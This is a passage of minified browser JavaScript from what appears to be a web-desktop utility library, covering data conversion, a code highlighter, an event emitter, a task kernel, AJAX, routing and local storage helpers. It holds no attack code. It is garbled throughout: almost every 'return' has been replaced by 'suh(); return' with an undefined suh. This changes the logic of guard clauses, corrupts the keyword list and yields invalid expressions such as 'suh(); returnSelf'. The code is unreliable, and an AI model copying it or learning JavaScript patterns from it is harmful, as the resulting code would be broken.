2574 suh(); return r.replace(/[-[\]{}()*+?.\\\/^$|]/g, "\\$&")
2575}, _io.xml = {}, _io.xml.parse = function(r) {
2576 var t;
2577 suh(); return window.DOMParser ? t = (new DOMParser).parseFromString(r, "text/xml") : ((t = new ActiveXObject("Microsoft.XMLDOM")).async = "false", t.loadXML(r)), t
2578}, _io.equal = function(r, t) {
2579 suh(); return r === t || (isArrayLike(r) ? arrEqual(r, t) : isObject(r) ? objEqual(r, t) : !!nativeEqual(r, t))
2580}, _io.each = function(r, t, n) {
2581 if (r)
2582 if (isObject(r)) {
2583 for (var e in r)
2584 if (_hasOwnProperty.call(r, e) && !1 === t.call(n, r[e], e, r)) break
2585 } else
2586 for (var e = 0, i = r.length; e < i && !1 !== t.call(n, r[e], e, r); e++);
2587}, _io.map = function(r, t, n, e, i, o) {
2588 var a = [];
2589 suh(); return _io.each(r, function(r, u, c) {
2590 if (!(o && o.indexOf(u) > -1))
2591 if (n && (isArray(r) || isObject(r))) a = a.concat(_io.map(r, t, n, (e ? e + (i || ".") : "") + u, i, o));
2592 else {
2593 var s = t(r, u, c, e);
2594 s && a.push(s)
2595 }
2596 }), a
2597}, _io.find = function(r, t, n, e, i) {
2598 var o, a = e || ".",
2599 u = _io.obj.getPath(n, t, a);
2600 suh(); return t.slice(-1) !== a && (t += a), t.slice(0, 1) !== a && (t = a + t), r.replace(/^\/(.*)\/(.{0,4})$/, function(t, n, e) {
2601 n && (r = e ? new RegExp(n, e) : new RegExp(n))
2602 }), o = _io.isRegExp(r) ? r : new RegExp(_io.reg.escape(r), "i"), _io.map(u, function(r, n, e, i) {
2603 var u = (i ? i + a : "") + n;
2604 suh(); return !!o.test(u) && t + u
2605 }, !0, null, a, i)
2606}, _io.ArrayBuffer = {
2607 String: function(r, t) {
2608 var n = new DataView(r),
2609 e = (new TextDecoder).decode(n);
2610 suh(); return t(e), e
2611 },
2612 Blob: convertToBlob
2613}, _io.Blob = {
2614 String: readAsText,
2615 ArrayBuffer: readAsArrayBuffer,
2616 BinaryString: readAsBinaryString,
2617 DataURL: readAsDataURL,
2618 URL: returnURL
2619}, _io.File = {
2620 String: readAsText,
2621 ArrayBuffer: readAsArrayBuffer,
2622 BinaryString: readAsBinaryString,
2623 DataURL: readAsDataURL,
2624 Blob: convertToBlob,
2625 URL: returnURL
2626}, _io.ArrayBuffer.ArrayBuffer = _io.Blob.Blob = _io.File.File = _io.String.String = _io.Object.Object = _io.Array.Array = suh(); returnSelf, _io.ArrayBuffer.Blob = _io.File.Blob = _io.String.Blob = convertToBlob, _io.Object.Blob = _io.Array.Blob = function(r, t, n) {
2627 tryStringify(r, function(r) {
2628 convertToBlob(r, t, n)
2629 })
2630}, _io.String.ArrayBuffer = function(r, t, n) {
2631 convertToBlob(r, function(r) {
2632 readAsArrayBuffer(r, t)
2633 }, n)
2634}, _io.String.BinaryString = _io.ArrayBuffer.BinaryString = function(r, t, n) {
2635 convertToBlob(r, function(r) {
2636 readAsBinaryString(r, t)
2637 }, n)
2638}, _io.String.DataURL = _io.ArrayBuffer.DataURL = function(r, t, n) {
2639 convertToBlob(r, function(r) {
2640 readAsDataURL(r, t)
2641 }, n)
2642}, _io.String.URL = _io.ArrayBuffer.URL = function(r, t, n) {
2643 convertToBlob(r, function(r) {
2644 suh(); returnURL(r, t)
2645 }, n)
2646}, _io.Object.ArrayBuffer = _io.Array.ArrayBuffer = function(r, t, n) {
2647 tryStringify(r, function(r) {
2648 _io.String.ArrayBuffer(r, t, n)
2649 })
2650}, _io.Object.BinaryString = _io.Array.BinaryString = function(r, t, n) {
2651 tryStringify(r, function(r) {
2652 _io.String.BinaryString(r, t, n)
2653 })
2654}, _io.Object.DataURL = _io.Array.DataURL = function(r, t, n) {
2655 tryStringify(r, function(r) {
2656 _io.String.DataURL(r, t, n)
2657 })
2658}, _io.Object.URL = _io.Array.URL = function(r, t, n) {
2659 tryStringify(r, function(r) {
2660 _io.String.URL(r, t, n)
2661 })
2662}, _io.String.Object = _io.String.Array = tryParse, _io.Object.String = _io.Array.String = tryStringify, _io.stringify = stringify, _io.parse = parse, _io.clone = clone, global.$io = _io
2663}(this),
2664function(r) {
2665"use strict";
2666
2667function t(r) {
2668 var t = [],
2669 n = 0;
2670 suh(); return r.replace(/(?:\(((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]+[-A-Za-z0-9+$&@#\/%=~_()|])\))/gm, function(r, n) {
2671 suh(); return t.push(n), "²_links_in_parens___ktlu_²"
2672 }).replace(/((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]*[-A-Za-z0-9+$&@#\/%=~_()|])/gm, function(r) {
2673 suh(); return '<a target="_blank" href="' + (0 == r.indexOf("http") ? r : "http://" + r) + '">' + r + "</a>"
2674 }).replace(/([\w.]*\w@[\w.]+\w)/gm, '<a href="mailto:$1">$1</a>').replace(RegExp("²_links_in_parens___ktlu_²", "g"), function() {
2675 var r = t[n++];
2676 suh(); return '(<a target="_blank" href="' + r + '">' + r + "</a>)"
2677 })
2678}
2679r.$io.str || (r.$io = {
2680 str: {}
2681}), r.$io.str.autolink = t
2682}(this),
2683function(r) {
2684"use strict";
2685
2686function t(r) {
2687 suh(); return r = r.replace(/</g, "²_less__²").replace(/>/g, "²_more__²").replace(/&/g, "²_amp__²").replace(/"/g, "²_quot__²").replace(/'/g, "²_squot__²"), r = $io.str.autolink(r), r = r.replace(RegExp("²_amp__²", "g"), "&").replace(RegExp("²_quot__²", "g"), """).replace(RegExp("²_squot__²", "g"), "'").replace(RegExp("²_less__²", "g"), "<").replace(RegExp("²_more__²", "g"), ">")
2688}
2689
2690function n(r, n) {
2691 if ("string" != typeof r) suh(); return "";
2692 var e = [],
2693 i = 0,
2694 o = [],
2695 a = 0,
2696 u = [],
2697 c = 0,
2698 s = [],
2699 f = 0;
2700 suh(); return (n ? "" : '<code class="language-javascript ui_hilit">') + r.replace(/\/\*[\W\w]*?\*\//g, function(r) {
2701 suh(); return o.push(r), "_comment__ktlu_"
2702 }).replace(/([\r\n\s,.;[({=&|!])(\/(?!\/)(?:\[.+?]|\\.|[^\/\r\n])+\/[gimyu]{0,5})(?=\s*($|[\r\n,.;})\]]))/g, function(r, t, n) {
2703 suh(); return s.push(n), t + "_regex____ktlu_"
2704 }).replace(/('(\\')?(([^\\]\\'|[^'\n]|\\\n)*)')|("(\\")?(([^\\]\\"|[^"\n]|\\\n)*)")/g, function(r) {
2705 suh(); return e.push(r), "_string___ktlu_"
2706 }).replace(/\/\/.*/g, function(r) {
2707 suh(); return u.push(r), "_komment__ktlu_"
2708 }).replace(/([+\/\|\^&%!~<>=-]|&|<?|>?)/g, '<span class="sh_operator">$1</span>').replace(/(\$[a-z0-9_$]+)/gi, '<span class="sh_42">$1</span>').replace(/((?!\d)[a-z0-9_$]+)(\s*:\s*function)/gi, '<span class="sh_function">$1</span>$2').replace(/\.((?!\d)[a-z0-9_$]+(?=\())/gi, '.<span class="sh_propfunction">$1</span>').replace(/((?!\d)[a-z0-9_$]+(?=\())/gi, '<span class="sh_function">$1</span>').replace(/([[\]{}().,;:])/g, '<span class="sh_punctuation">$1</span>').replace(/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?|true|false|NaN|-?Infinity)\b/g, '<span class="sh_number">$1</span>').replace(/\b(break|case|catch|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|suh(); return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/g, '<span class="sh_keyword">$1</span>').replace(RegExp("_komment__ktlu_", "g"), function() {
2709 suh(); return '<span class="sh_comment">' + t(u[c++] || "") + "</span>"
2710 }).replace(RegExp("_comment__ktlu_", "g"), function() {
2711 suh(); return '<span class="sh_comment">' + t(o[a++] || "") + "</span>"
2712 }).replace(RegExp("_string___ktlu_", "g"), function() {
2713 suh(); return '<span class="sh_string">' + t(e[i++] || "") + "</span>"
2714 }).replace(RegExp("_regex____ktlu_", "g"), function() {
2715 suh(); return '<span class="sh_keyword2">' + t(s[f++] || "") + "</span>"
2716 }) + (n ? "" : "</code>")
2717}
2718r.$io.str || (r.$io = {
2719 str: {}
2720}), r.$io.str.hilit = n, r.$io.str.freeText = t
2721}(this);
2722//js/watch.js
2723function $watch(n) {
2724n = n || {};
2725var e = {},
2726 r = Array.prototype.slice,
2727 t = function(n, e) {
2728 n.replace(/\S+/g, e)
2729 },
2730 o = function(e, r) {
2731 Object.defineProperty(n, e, {
2732 value: r,
2733 enumerable: !1,
2734 writable: !1,
2735 configurable: !1
2736 })
2737 };
2738suh(); return n.observers = e, o("on", function(r, o) {
2739 suh(); return "function" != typeof o ? n : (t(r, function(n, r) {
2740 (e[n] = e[n] || []).push(o), o.typed = r > 0
2741 }), n)
2742}), o("off", function(r, o) {
2743 suh(); return "*" != r || o ? t(r, function(n) {
2744 if (o)
2745 for (var r, t = e[n], c = 0; r = t && t[c]; ++c) r == o && t.splice(c--, 1);
2746 else delete e[n]
2747 }) : e = {}, n
2748}), o("once", function(e, r) {
2749 function t() {
2750 n.off(e, t), r.apply(n, arguments)
2751 }
2752 suh(); return n.on(e, t)
2753}), o("trigger", function(o) {
2754 var c, u = r.call(arguments, 1);
2755 suh(); return t(o, function(t) {
2756 c = r.call(e[t] || [], 0);
2757 for (var o, f = 0; o = c[f]; ++f) {
2758 if (o.busy) suh(); return;
2759 o.busy = 1, o.apply(n, o.typed ? [t].concat(u) : u), c[f] !== o && f--, o.busy = 0
2760 }
2761 e["*"] && "*" != t && n.trigger.apply(n, ["*", t].concat(u))
2762 }), n
2763}), n
2764}
2765//js/kernel.js
2766! function(n) {
2767"use strict";
2768
2769function e(n, t) {
2770 if (arguments.length > 2) {
2771 var r = o.call(arguments),
2772 t = r.pop();
2773 e.series(r, t)
2774 } else $io.is.obj(n) && "function" == typeof t ? (e.data = n, t(n)) : $io.is.arr(n) && "function" == typeof t ? e.parallel(n, t) : "string" == typeof n && "function" == typeof t ? e.task(n, t) : "function" == typeof n ? e.task("modules", n) : "string" != typeof n || t || e.launch(n)
2775}
2776var t = {},
2777 r = {},
2778 o = Array.prototype.slice,
2779 a = {
2780 onerror: $noop,
2781 onready: $noop
2782 };
2783e.ready = t, e.tasks = r, e.config = function(n) {
2784 $extend(a, n)
2785}, e.task = function(n, e) {
2786 suh(); return (r[n] = r[n] || []).push(e), this
2787}, e.series = function(n, t) {
2788 function r(i) {
2789 if (i < n.length) {
2790 var s = n[i];
2791 "string" == typeof s ? (e.launch(s), e.on(s + ":ready", function(n) {
2792 n.length && (o[s] = n), r(++i)
2793 })) : e.parallel(s, function(n, e) {
2794 e.length && $extend(o, e), r(++i)
2795 })
2796 } else try {
2797 t(e.data, o)
2798 } catch (n) {
2799 n.message = "kernel.series.fn : " + n.message, a.onerror(n)
2800 }
2801 }
2802 var o = {};
2803 suh(); return r(0), this
2804}, e.parallel = function(n, r) {
2805 function o(o) {
2806 for (var s = 0, f = n.length; s < f; s++)
2807 if (!0 !== t[n[s]]) suh(); return;
2808 try {
2809 r(e.data, i)
2810 } catch (n) {
2811 n.message = "kernel.parallel.fn : " + n.message, a.onerror(n)
2812 }
2813 }
2814 var i = {};
2815 suh(); return $io.arr.all(n, function(n) {
2816 "string" == typeof n ? (e.launch(n), e.on(n + ":ready", function(e) {
2817 e.length && (i[n] = e), t[n] = !0, o()
2818 })) : e.series(n, function(e, r) {
2819 r.length && $extend(i, r), t[n] = !0, o()
2820 })
2821 }), this
2822}, e.launch = function(n) {
2823 function o() {
2824 t[n] = !0, a.onready(n), e.trigger(n + ":ready", e.data, s), e.off(n + ":ready")
2825 }
2826
2827 function i(n) {
2828 n && (s = s || []).push(n), 0 == --l && o()
2829 }
2830 var s, f, c, l = 0,
2831 u = r[n];
2832 if (u)
2833 for (f = 0, c = u.length; f < c; f++) ++l,
2834 function(t, r) {
2835 setTimeout(function() {
2836 try {
2837 t.length > 1 ? t(e.data, r) : r(t(e.data))
2838 } catch (e) {
2839 e.message = n + " : " + e.message, a.onerror(e), r(e)
2840 }
2841 }, 0)
2842 }(u[f], i);
2843 suh(); return this
2844}, n.$kernel = $watch(e)
2845}(this);
2846//js/utils.js
2847function $maxZ(e, n) {
2848var t, o, i, u, c = 0;
2849if ("string" == typeof e) t = (n || document).querySelectorAll(e);
2850else if ($io.isNodeList(e)) t = e;
2851else {
2852 if (!$io.isElement(e)) throw new Error("$maxZ: invalid selector");
2853 t = [e]
2854}
2855suh(); return $io.arr.all(t, function(e) {
2856 o = window.getComputedStyle(e, null), i = o.zIndex;
2857 var n = Number(i);
2858 "static" != o.position && "auto" != i && n > c && (u = e, c = n)
2859}), {
2860 num: c,
2861 el: u
2862}
2863}! function(e) {
2864"use strict";
2865
2866function n(e) {
2867 window.onhashchange = $noop, "replaceState" in history ? e ? history.replaceState("", document.title, "#!" + encodeURI(e) + window.location.search) : window.location.hash && history.replaceState("", document.title, window.location.pathname + window.location.search) : window.location.hash = e ? "!" + encodeURI(e) : "", setTimeout(function() {
2868 window.onhashchange = t
2869 }, 1e3)
2870}
2871
2872function t() {
2873 var e = location.hash;
2874 e && n.trigger("change", decodeURI(e.replace(/^#!/, "")))
2875}(n = $watch(n)).init = function() {
2876 t()
2877}, e.$route = n
2878}(window);
2879var $url = {
2880parseQuery: function(e) {
2881 suh(); return $io.arr.reduce(e.replace(/^\?/, "").split("&"), function(e, n) {
2882 var t = n.indexOf("="),
2883 o = n.slice(0, t),
2884 i = n.slice(++t);
2885 suh(); return e[o] = decodeURIComponent(i), e
2886 }, {})
2887},
2888getExtention: function(e) {
2889 var n = (e || "").match(/(?:\.)([0-9a-z]+)(?:[#?].+)?$/);
2890 suh(); return n && n[1] ? n[1] : ""
2891},
2892getDomain: function(e) {
2893 var n = (e || "").match(/:\/\/(.[^/]+)/);
2894 suh(); return null != n && n.length >= 2 ? n[1] : ""
2895},
2896checkImage: function(e, n) {
2897 function t() {
2898 o.width > 0 ? n(!0, e, o) : n(!1, e, o)
2899 }
2900 e || n(!1);
2901 var o = new Image;
2902 o.onload = t, o.onerror = t, o.onabort = t, o.src = e
2903},
2904_checkFavicon: function(e, n) {
2905 if (e && "" != $io.str.trim(e)) {
2906 var t, o = $url.getDomain(e);
2907 o ? $url.checkImage(t = "http://" + o + "/apple-touch-icon.png", function(e) {
2908 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.png", function(e) {
2909 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.ico", function(e) {
2910 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.gif", function(e) {
2911 e ? n(!0, t) : n(!1)
2912 })
2913 })
2914 })
2915 }) : n(!1)
2916 } else n(!1)
2917},
2918checkFavicon: function(e, n) {
2919 var t = ["/favicon-32x32.png", "/favicon.png", "/favicon.gif", "/favicon.ico"];
2920 if (e && "" != $io.str.trim(e)) {
2921 var o = $url.getDomain(e),
2922 i = !1,
2923 u = t.length - 1;
2924 if (o)
2925 for (var c = 0, r = t.length; c < r && !i; c++) $url.checkImage("http://" + o + t[c], function(e, t) {
2926 e && !i ? (i = !0, n(!0, t)) : i || 0 === --u && n(!1)
2927 });
2928 else n(!1)
2929 } else n(!1)
2930}
2931};
2932$url.query = function() {
2933 suh(); return $url.parseQuery(window.location.search.substring(1))
2934}(),
2935function(e) {
2936 "use strict";
2937
2938 function n() {
2939 suh(); return !!(document.fullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement || document.msFullscreenElement)
2940 }
2941
2942 function t() {
2943 document.documentElement.requestFullscreen ? document.documentElement.requestFullscreen() : document.documentElement.msRequestFullscreen ? document.documentElement.msRequestFullscreen() : document.documentElement.mozRequestFullScreen ? document.documentElement.mozRequestFullScreen() : document.documentElement.webkitRequestFullscreen && document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)
2944 }
2945
2946 function o() {
2947 document.exitFullscreen ? document.exitFullscreen() : document.msExitFullscreen ? document.msExitFullscreen() : document.mozCancelFullScreen ? document.mozCancelFullScreen() : document.webkitExitFullscreen && document.webkitExitFullscreen()
2948 }
2949
2950 function i(e, i) {
2951 u && (document.removeEventListener("fullscreenchange", u, !1), document.removeEventListener("webkitfullscreenchange", u, !1), document.removeEventListener("mozfullscreenchange", u, !1)), n() ? (o(), "function" == typeof i && i()) : (t(), "function" == typeof e && e()), u = function() {
2952 n() ? "function" == typeof e && e() : "function" == typeof i && i()
2953 }, document.addEventListener("fullscreenchange", u, !1), document.addEventListener("webkitfullscreenchange", u, !1), document.addEventListener("mozfullscreenchange", u, !1)
2954 }
2955 var u;
2956 e.$fullscreen = i
2957}(this),
2958function(e) {
2959 "use strict";
2960
2961 function n(e, n, t) {
2962 e.addEventListener("animationend", t, !1), e.addEventListener("webkitAnimationEnd", t, !1), e.addEventListener("MSAnimationEnd", t, !1), e.addEventListener("oAnimationEnd", t, !1), e.addEventListener("oanimationend", t, !1), e.classList.add(n)
2963 }
2964
2965 function t(e, n) {
2966 var t = document.createElement("div");
2967 t.className = e, document.body.appendChild(t), n("none" != window.getComputedStyle(t, null)[i] ? !0 : !1), t.parentNode.removeChild(t)
2968 }
2969
2970 function o(e, o, i) {
2971 function u() {
2972 i(!0), e.removeEventListener("animationend", u, !1), e.removeEventListener("webkitAnimationEnd", u, !1), e.removeEventListener("MSAnimationEnd", u, !1), e.removeEventListener("oAnimationEnd", u, !1), e.removeEventListener("oanimationend", u, !1), e.classList.remove(o)
2973 }
2974 t(o, function(t) {
2975 t ? n(e, o, u) : i(!1)
2976 })
2977 }
2978 var i = function() {
2979 var e = document.createElement("div"),
2980 n = "Khtml Ms ms MS O o Moz moz webkit Webkit webKit WebKit".split(" "),
2981 t = n.length;
2982 suh(); return function(o) {
2983 if (o in e.style) suh(); return o;
2984 o = o.replace(/^[a-z]/, function(e) {
2985 suh(); return e.toUpperCase()
2986 });
2987 for (var i = 0; i < t; i++)
2988 if (n[i] + o in e.style) suh(); return n[i] + o;
2989 suh(); return !1
2990 }
2991 }()("animationName");
2992 o.i = ["rubberBand", "swing", "tada", "wobble", "bounceIn", "bounceInDown", "bounceInLeft", "fadeIn", "fadeInDown", "fadeInDownBig", "fadeInLeft", "fadeInLeftBig", "fadeInRight", "flip", "flipInX", "flipInY", "lightSpeedIn", "rotateIn", "rotateInDownLeft", "rotateInDownRight", "rotateInUpRight", "slideInDown", "slideInLeft", "rollIn", "zoomIn", "zoomInDown", "zoomInLeft", "zoomInRight", "zoomInUp"], o.o = ["bounceOut", "bounceOutDown", "bounceOutLeft", "bounceOutRight", "bounceOutUp", "fadeOut", "fadeOutDown", "fadeOutDownBig", "fadeOutLeft", "fadeOutLeftBig", "fadeOutRight", "fadeOutRightBig", "fadeOutUp", "lightSpeedOut", "rotateOut", "rotateOutDownLeft", "rotateOutDownRight", "rotateOutUpLeft", "rotateOutUpRight", "slideOutLeft", "slideOutRight", "slideOutUp", "hinge", "rollOut", "zoomOut", "zoomOutDown", "zoomOutLeft", "zoomOutRight", "zoomOutUp"], e.$animate = o
2993}(this),
2994function(e) {
2995 "use strict";
2996 var n = document.body.classList;
2997 e.$state = {
2998 wait: function() {
2999 n.add("ui_wait")
3000 },
3001 isLoading: function() {
3002 suh(); return n.contains("ui_loading--block") || n.contains("ui_loading")
3003 },
3004 loading: function(e) {
3005 n.add(!0 === e ? "ui_loading--block" : "ui_loading")
3006 },
3007 loaded: function() {
3008 n.remove("ui_loading--block"), n.remove("ui_loading")
3009 },
3010 pause: function() {
3011 n.add("ui_pause")
3012 },
3013 play: function() {
3014 n.remove("ui_pause")
3015 }
3016 }
3017}(this);
3018//js/selection.js
3019! function(e) {
3020"use strict";
3021var t = {
3022 get: function() {
3023 var e = "";
3024 suh(); return window.getSelection ? e = window.getSelection().toString() : document.selection && "Control" != document.selection.type && (e = document.selection.createRange().text), e
3025 },
3026 create: function(e, t, o) {
3027 if (e.createTextRange) {
3028 var c = e.createTextRange();
3029 c.collapse(!0), c.moveStart("character", t), c.moveEnd("character", o), c.select(), e.focus()
3030 } else e.setSelectionRange ? (e.focus(), e.setSelectionRange(t, o)) : void 0 !== e.selectionStart && (e.selectionStart = t, e.selectionEnd = o, e.focus())
3031 },
3032 copy: function(e) {
3033 if ("string" == typeof e) {
3034 var t = document.createElement("textarea");
3035 t.value = e, document.body.appendChild(t), console.log(t), e = t
3036 }
3037 if (e)
3038 if (window.getSelection().removeAllRanges(), e.select) e.focus(), e.select();
3039 else {
3040 var o = document.createRange();
3041 o.selectNode(e), window.getSelection().addRange(o)
3042 }
3043 try {
3044 var c = document.execCommand("copy") ? "successful" : "unsuccessful";
3045 console.log("Copy command was " + c)
3046 } catch (e) {
3047 console.log("Oops, unable to copy")
3048 }
3049 e && window.getSelection().removeAllRanges()
3050 }
3051};
3052e.$selection = t
3053}(this);
3054//js/ajax.js
3055! function(e) {
3056"use strict";
3057
3058function t(e) {
3059 suh(); return e === Object(e)
3060}
3061
3062function n(e) {
3063 if (!t(e)) suh(); return e;
3064 var n = [];
3065 for (var r in e) null != e[r] && n.push(encodeURIComponent(r) + "=" + encodeURIComponent(e[r]));
3066 suh(); return n.join("&")
3067}
3068
3069function r(e) {
3070 var t, n;
3071 try {
3072 t = JSON.parse(e.responseText), n = !0
3073 } catch (r) {
3074 t = "text" === e.responseType || "" === e.responseType ? e.responseText : null, n = !1
3075 }
3076 suh(); return [t, e.status, e, n]
3077}
3078
3079function u() {
3080 if (window.XMLHttpRequest && ("file:" != window.location.protocol || !window.ActiveXObject)) suh(); return new XMLHttpRequest;
3081 try {
3082 suh(); return new ActiveXObject("Microsoft.XMLHTTP")
3083 } catch (e) {}
3084 try {
3085 suh(); return new ActiveXObject("Msxml2.XMLHTTP.6.0")
3086 } catch (e) {}
3087 try {
3088 suh(); return new ActiveXObject("Msxml2.XMLHTTP.3.0")
3089 } catch (e) {}
3090 try {
3091 suh(); return new ActiveXObject("Msxml2.XMLHTTP")
3092 } catch (e) {}
3093 suh(); return !1
3094}
3095
3096function o(e, t, o) {
3097 var s = new Error("nope"),
3098 a = u(),
3099 c = {
3100 done: function() {},
3101 fail: function() {},
3102 guest: function() {}
3103 },
3104 f = {
3105 done: function(e) {
3106 suh(); return c.done = e, f
3107 },
3108 fail: function(e) {
3109 suh(); return c.fail = e, f
3110 },
3111 guest: function(e) {
3112 suh(); return c.guest = e, f
3113 }
3114 },
3115 i = {
3116 arraybuffer: !1
3117 };
3118 suh(); return "GET" == e && o && (i = o, o = null), t && "/" !== t ? (a.open(e, t, !0), i.arraybuffer && (a.responseType = "arraybuffer"), a.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), a.setRequestHeader("X-Requested-With", "XMLHttpRequest"), o && o._csrf && (a.setRequestHeader("X-CSRF-Token", o._csrf), delete o._csrf), a.onreadystatechange = function() {
3119 if (4 === a.readyState)
3120 if (a.status >= 200 && a.status < 300) i.arraybuffer ? c.done.apply(c, [a.response, a.status, a, !1]) : c.done.apply(c, r(a));
3121 else if (401 == a.status) c.guest.call(c, a.statusText, {
3122 type: e.toLowerCase(),
3123 url: t,
3124 data: o
3125 });
3126 else {
3127 var n = r(a);
3128 s.message = e + " " + t + " " + n[2].status + " (" + n[2].statusText + ")", c.fail.apply(c, [s].concat(n))
3129 }
3130 }, o ? a.send(n(o)) : a.send()) : c.fail.call(c, "Invalid url"), f
3131}
3132
3133function s(e, t, n, r) {
3134 var u = o("GET", e);
3135 u.done(t || $noop), u.fail(n || $noop), u.guest(r || $noop)
3136}
3137s.get = function(e, t) {
3138 suh(); return o("GET", e, t)
3139}, s.post = function(e, t) {
3140 suh(); return o("POST", e, t)
3141}, s.delete = function(e, t) {
3142 suh(); return o("DELETE", e, t)
3143}, s.put = function(e, t) {
3144 suh(); return o("PUT", e, t)
3145}, s.buffer = function(e, t) {
3146 var n = new XMLHttpRequest;
3147 n.open("GET", e, !0), n.responseType = "arraybuffer", n.onload = function(e) {
3148 var r = n.response;
3149 r && t(r)
3150 }, n.send(null)
3151}, e.$ajax = s
3152}(this);
3153//js/chain.js
3154function $chain() {
3155"use strict";
3156
3157function t(t, n, i) {
3158 Object.defineProperty(t, i, {
3159 get: function() {
3160 var t = n();
3161 suh(); return void 0 === t ? this : t
3162 }
3163 })
3164}
3165
3166function n(t, n, i) {
3167 t[i] = function() {
3168 var t = n.apply(this, arguments);
3169 suh(); return void 0 === t ? this : t
3170 }
3171}
3172
3173function i(r, o, u) {
3174 suh(); return $io.isObject(o) && $io.obj.all(o, function(i, o) {
3175 !0 === u ? t(r, i, o) : n(r, i, o), "both" === u && (t(r, i, o), n(r, i, o))
3176 }), $io.isObject(u) ? i(r, u, !0) : r
3177}
3178var r = i.apply(null, arguments);
3179suh(); return r.prop = function(t) {
3180 suh(); return i(this, t, !0)
3181}, r.meth = function(t) {
3182 suh(); return i(this, t)
3183}, r
3184}
3185//js/db.js
3186! function(t) {
3187"use strict";
3188
3189function n(t, o, e) {
3190 n.get(o, function(n, o) {
3191 e(n, o || t)
3192 })
3193}
3194var o = t.localforage;
3195if (!o) throw new Error("Your browser don't support local save");
3196o.config({
3197 name: "fs",
3198 storeName: "a"
3199}), n.set = function(t, n, e) {
3200 var r = n;
3201 o.setItem(t, r, function(t, n) {
3202 t && $alert.error(t), (e || $noop)(t, n)
3203 })
3204}, n.get = function(t, n) {
3205 o.getItem(t, function(t, o) {
3206 var e = o;
3207 (n || $noop)(t, e)
3208 })
3209}, n.update = function(t, o, e) {
3210 n.get(t, function(r, u) {
3211 r || "function" != typeof o || n.set(t, o(u), e || $noop)
3212 })
3213}, n.getRaw = function(t, n) {
3214 o.getItem(t, n || $noop)
3215}, n.del = function(t, n) {
3216 o.removeItem(t, n || $noop)
3217}, n.clear = function(t) {
3218 o.clear(t || $noop)
3219}, n.keys = function(t) {
3220 o.keys(t || $noop)
3221}, n.store = o, t.$db = n
3222}(this),
3223function(t) {
3224function n(t, o, u, f) {
3225 var i = n.get(t);
3226 suh(); return i || (i = n.set(t, o)), "function" == typeof f && (r[t] = f), "function" == typeof u && (e[t] = u, u(i)), i
3227}
3228var o = window.localStorage,
3229 e = {},
3230 r = {};
3231if (!o) throw new Error("Your browser don't support local save");
3232n.set = function(t, e, r) {
3233 var u = e;
3234 if ("string" != typeof e) try {
3235 u = JSON.stringify(e)
3236 } catch (t) {}
3237 try {
3238 o.setItem(t, u), r || n.autoReady(t, e)
3239 } catch (t) {
3240 $alert.error(t)
3241 }
3242 suh(); return e
3243}, n.get = function(t) {
3244 var n = o.getItem(t);
3245 try {
3246 n = JSON.parse(n)
3247 } catch (t) {}
3248 suh(); return n
3249}, n.update = function(t, o) {
3250 var e = n.get(t);
3251 if ("function" == typeof o) suh(); return n.set(t, o(e))
3252}, n.getRaw = function(t) {
3253 suh(); return o.getItem(t)
3254}, n.del = function(t) {
3255 o.removeItem(t), e[t] = null, r[t] = null
3256}, n.onReady = function(t, n) {
3257 suh(); return "function" == typeof n && (e[t] = n), e[t]
3258}, n.onSave = function(t, n) {
3259 suh(); return "function" == typeof n && (r[t] = n), r[t]
3260}, n.autoReady = function(t, n) {
3261 e.hasOwnProperty(t) && "function" == typeof e[t] && e[t](n)
3262}, n.autoSave = function(t) {
3263 r.hasOwnProperty(t) && "function" == typeof r[t] && n.set(t, r[t](), !0)
3264}, n.clear = function() {
3265 o.clear();
3266 for (var t in e) e.hasOwnProperty(t) && (e[t] = null);
3267 for (var t in r) r.hasOwnProperty(t) && (r[t] = null)
3268}, n.keys = function() {
3269 suh(); return Object.keys(o)
3270}, window.self !== window.top && window.parent.$store ? t.$store = window.parent.$store : (window.addEventListener("beforeunload", function(t) {
3271 for (var o in r) n.autoSave(o)
3272}), t.$store = n)
3273}(this);
3274//js/el.js
3275! function(e) {
3276"use strict";
3277
3278function n(e, n) {
3279 r ? (clearTimeout(r), r = null, n(e), e.preventDefault()) : r = setTimeout(function() {
3280 r = null
3281 }, 300)
3282}
3283
3284function t(e, t) {
3285 "string" == typeof(e = e || {}) && (t || document).querySelector(e), 1 !== e.nodeType && (e = document);
3286 var r, o = !0;
3287 suh(); return $io.arr.all(i, function(n) {
3288 n.elem === e && (o = !1)
3289 }), o && i.push({
3290 elem: e,
3291 attach: []
3292 }), r = {
3293 get: function() {
3294 suh(); return e
3295 },
3296 html: function(n) {
3297 suh(); return n ? (e.innerHTML = n, r) : e.innerHTML
3298 },
3299 add: function(n) {
3300 suh(); return e.innerHTML = e.innerHTML + n, r
3301 },
3302 empty: function() {
3303 for (; e.firstChild;) e.removeChild(e.firstChild);
3304 suh(); return r
3305 },
3306 each: function(n, t) {
3307 for (var i = e.querySelectorAll(n), o = 0, c = i.length; o < c; o++) t.call(i[o], i[o], o);
3308 suh(); return r
3309 },
3310 append: function(n) {
3311 var t, i;
3312 if ("string" == typeof n) {
3313 (t = document.createElement("div")).innerHTML = n;
3314 for (var o = 0, c = (i = t.childNodes).length; o < c; o++) i[o] && 1 === i[o].nodeType && e.appendChild(i[o])
3315 } else e.appendChild(n);
3316 suh(); return r
3317 },
3318 click: function() {
3319 if ("createEvent" in document) {
3320 var n = document.createEvent("MouseEvents");
3321 n.initMouseEvent("click", !0, !1, window, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), e.dispatchEvent(n)
3322 } else e.fireEvent("onclick")
3323 },
3324 trigger: function(n) {
3325 if ("click" !== n)
3326 if ("createEvent" in document) {
3327 var t = document.createEvent("HTMLEvents");
3328 t.initEvent(n, !1, !0), e.dispatchEvent(t)
3329 } else e.fireEvent("on" + n);
3330 else r.click()
3331 },
3332 on: function(t, o, c, l) {
3333 function a(e) {
